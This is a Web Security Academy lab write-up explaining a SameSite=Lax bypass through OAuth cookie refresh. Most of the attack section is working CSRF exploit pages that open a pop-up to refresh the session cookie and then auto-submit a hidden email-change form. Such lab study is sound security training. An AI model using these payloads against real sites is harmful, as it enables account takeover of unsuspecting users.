PortSwigger: SameSite=Lax
Bypass via Cookie Refresh¶
SameSite
cookies default to Lax
unless explicitly set otherwise. However, because this can break SSO authentication flows, it isn't enforced for "top-level" POST requests for the first 120 seconds of the cookie's existence. "Top-level" here means anything that changes the URL in the location bar.
The lab target has an OAuth authentication flow that results in this cookie:
Set-Cookie: session=ewNzZ8DFy40MB8IuCRmqO2koYyOiAPqY; Expires=Thu, 05 Jun 2025 17:42:20 UTC; Secure; HttpOnly
Because SameSite
isn't specified it defaults to SameSite=Lax
, but that isn't enforced for the first 120 seconds. If I can find a way to force a victim to refresh that cookie, I have a short window to deliver a second URL as the payload.
The following endpoint on this target redirects to the OAuth endpoint, refreshing the cookie:
https://LAB_ID.web-security-academy.net/social-login
So, this target requires a two-stage exploit. First, the victim must be coerced into visiting /social-login
, and after that request completes, a second POST request can be made to the /my-account/change-email
endpoint, completing the exploit. A successful exploit could do this by providing a link for the user to click, thus allowing a pop-up window to refresh the cookie, and after a sufficient timeout the final payload (a form submit) is triggered.
Here is my original exploit, which works for the test user (wiener
) but does not work when delivered to the victim-bot:
<form method="POST" action="https://LAB_ID.web-security-academy.net/my-account/change-email">
<input type="hidden" name="email" value="x@x.x">
</form>
<script>
function x() { document.forms[0].submit(); }
function r() {
window.open('https://LAB_ID.web-security-academy.net/social-login', '_blank');
setTimeout(x, 5000);
}
</script>
<a href="#" onclick="r(); return false;">clickme</a>
Here is the functional PortSwigger suggested solution:
<form method="POST" action="https://LAB_ID.web-security-academy.net/my-account/change-email">
<input type="hidden" name="email" value="pwned@portswigger.net">
</form>
<p>Click anywhere on the page</p>
<script>
window.onclick = () => {
window.open('https://LAB_ID.web-security-academy.net/social-login');
setTimeout(changeEmail, 5000);
}
function changeEmail() {
document.forms[0].submit();
}
</script>
If the victim-bot arbitrarily clicks links then those two should be functionally equivalent, so I spent a while trying to figure out why my initial version wasn't working. I adjusted my exploit to use window.onclick()
and it worked:
<form method="POST" action="https://LAB_ID.web-security-academy.net/my-account/change-email">
<input type="hidden" name="email" value="x@x.x">
</form>
<script>
function x() { document.forms[0].submit(); }
window.onclick = () => {
window.open('https://LAB_ID.web-security-academy.net/social-login', '_blank');
setTimeout(x, 5000);
}
</script>
<a href="#">clickme</a>
Why? So, while everything works fine for a human victim who clicks the link, maybe the way the victim-bot synthetically clicks links doesn't satisfy Chrome's definition for a "trusted user interaction", and so the pop-up would be blocked and the cookie wouldn't refresh? The switch from element-level to page-level handling might make a difference.
Often the victim-bot will just click links sent to it, but the hint for this lab needs to be taken very literally:
The victim-bot in this lab seems clicks somewhere in the viewport. It doesn't click the link provided via the exploit.
Just for fun, I rewrote the original exploit to use a big image that fills the viewport, otherwise keeping things the same:
<form method="POST" action="https://LAB_ID.web-security-academy.net/my-account/change-email">
…same as original exploit…
</script>
<a href="#" onclick="r(); return false;"
style="position:fixed;top:0;left:0;width:100vw;height:100vh;
background:url('https://labs.web-security-academy.net/files/avatar.png') center/cover no-repeat;
display:block;border:0;"> </a>
That works just fine, although the window.onclick
approach is cleaner given the bot's behavior.